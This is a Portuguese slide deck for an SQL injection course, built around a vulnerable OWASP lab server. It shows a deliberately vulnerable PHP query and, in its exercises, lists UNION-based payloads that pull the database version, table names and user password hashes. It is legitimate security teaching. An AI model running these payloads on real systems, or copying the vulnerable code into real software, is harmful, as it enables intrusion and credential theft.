A1 - Sql Injection na Prática Parte 01

365 visualizações

Publicada em

Introdução do curso de SQL Injection que iria ministrar.

2 comentários
4 gostaram
Estatísticas
Notas
Sem downloads
Visualizações
Visualizações totais
365
No SlideShare
0
A partir de incorporações
0
Número de incorporações
9
Ações
Compartilhamentos
0
Downloads
29
Comentários
2
Gostaram
4
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

A1 - Sql Injection na Prática Parte 01

  1. 1. A1 – SQL Injection na Prática! COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
  2. 2. Exemplos Reais
  3. 3. Sumário  Tipos de Injeção  SQL Injection  O que é SQL Injection?  Quais são as implicações?  Exemplo Cracker  Servidor OWASP  Exercícios 01  Código Fonte  Exercícios 02  Referências OWASP COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.
  4. 4. A1 – Tipos de Injeção https://www.owasp.org/index.php/Interpreter_Injection
  5. 5. A1 – Tipos de Injeção  Injeção de LDAP: é uma técnica usada para explorar sites da Web que constroem expressões LDAP de uma entrada fornecida pelo usuário (WASC-29).  Comandos de SO: técnica para explorar sites da Web através da execução de comandos de sistema operacional em campos de entrada (WASC-31).  Injeção XPath: é uma técnica usada para explorar sites que constroem consultas Xpath (linguagem para endereçar elementos de documentos XML) a partir de entradas fornecidas pelo usuário (WASC -39). https://www.owasp.org/index.php/XPATH_Injection
  6. 6. WordPress - Vulnerability Statistics
  7. 7. SQL Injetion  O que é?  SQL (Structured Query Language) é uma linguagem de programação para a consulta de bancos de dados.  Um invasor fornece dados maliciosos para o seu aplicativo e os dados são concatenados para consultar um banco de dados (BD).  Quais são as implicações?  Vazamento de informações através de mensagens de erro do BD.  Dados extraídos de seu banco de dados .  Controle completo do seu banco de dados (inserir dados, apagar tabelas, e assim por diante).  Executar comandos em seu sistema.  Comprometimento completo do sistema.
  8. 8. Exemplo cracker – www.exploit-db.com
  9. 9. Banco de Vulnerabilidades
  10. 10. • Common Vulnerabilities and Exposures (CVE) fornece uma referência de método para conhecimento ao público, expoem as informações de segurança, e as vulnerabilidades. http://cve.mitre.org/about/terminology.html
  11. 11. Servidor OWASP • Digite no Web Browser o ip que nosso Servidor forneceu. http://code.google.com/p/owaspbwa/wiki/Downloads
  12. 12. Selecione a Aplicação WordPress
  13. 13. Exploração da Vulnerabilidade
  14. 14. Exercícios 01  Entrar no site http://www.exploit-db.com  Entrar no menu “search”  Pesquisa pela “Description”, o nome do plugin “Spreadsheet ”.  Selecione a vulnerabilidade “Wordpress Plugin Spreadsheet <= 0.6 SQL Injection Vulnerability ”  Aplique o exemplo dado no WordPress, armazenado em nosso Servidor de Aplicações Vulneráveis. Outros Bancos de Vulnerabilidades http://www.securityfocus.com/ http://www.osvdb.org/ http://www.cvedetails.com/top-50-products.php
  15. 15. SQL Injection  Abaixo a aplicação pesquisa o Usuário pelo ID.  ID = 1 / First name: admin / Surname: admin
  16. 16.  Ao inserimos o Apostrofo (‘), no campo de consulta, gerou um erro de banco de dados.  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
  17. 17. Código Fonte  <?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } } ?>
  18. 18.  O Apostrofo está fechando a consulta SQL e formando outra, como não há um filtro na Aplicação, o caracteres interferiu diretamente no código gerando o Erro. "SELECT first_name, last_name FROM users WHERE user_id = '$id''"; SQL INJECTION SELECT first_name, last_name FROM users WHERE user_id = '$id' or ' 1 ' = ' 1';
  19. 19. Exercícios 02  Escreva os comandos e analise os resultados.  ' or ' 1 ' = ' 1  ' or 1=1—  ' union SELECT @@version'  ' union SELECT @@version, null '  ' union SELECT database(), null '  1' UNION ALL SELECT user, password FROM mysql.user; -- priv;#'“  a' UNION ALL SELECT system_user(),user();#'”  a' UNION SELECT table_schema, table_name FROM information_schema.tables;#'”  ' union select user, password from users; -- priv;#'“  ' union select user, password from users; -- '
  20. 20. Password’s usam o criptografia MD5
  21. 21. Referências OWASP  OWASP SQL Injection Prevention Cheat Sheet https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java  OWASP Injection Flaws Article https://www.owasp.org/index.php/Command_Injection  OWASP Testing Guide: Chapter on SQL Injection Testing https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29  OWASP Code Review Guide: Command Injection https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection  LDAP Injection https://www.owasp.org/index.php/LDAP_injection  XML Injection https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29  XPATH Injection https://www.owasp.org/index.php/XPATH_Injection  Log Injection https://www.owasp.org/index.php/Log_injection
  22. 22. Referências Externas:  CWE Entry 77 on Command Injection http://cwe.mitre.org/data/definitions/77.html  CWE Entry 89 on SQL Injection http://cwe.mitre.org/data/definitions/89.html  XSLT Injection http://www.acunetix.com/blog/web-security-zone/articles/the- hidden-dangers-of-xsltprocessor-remote-xsl-injection/

×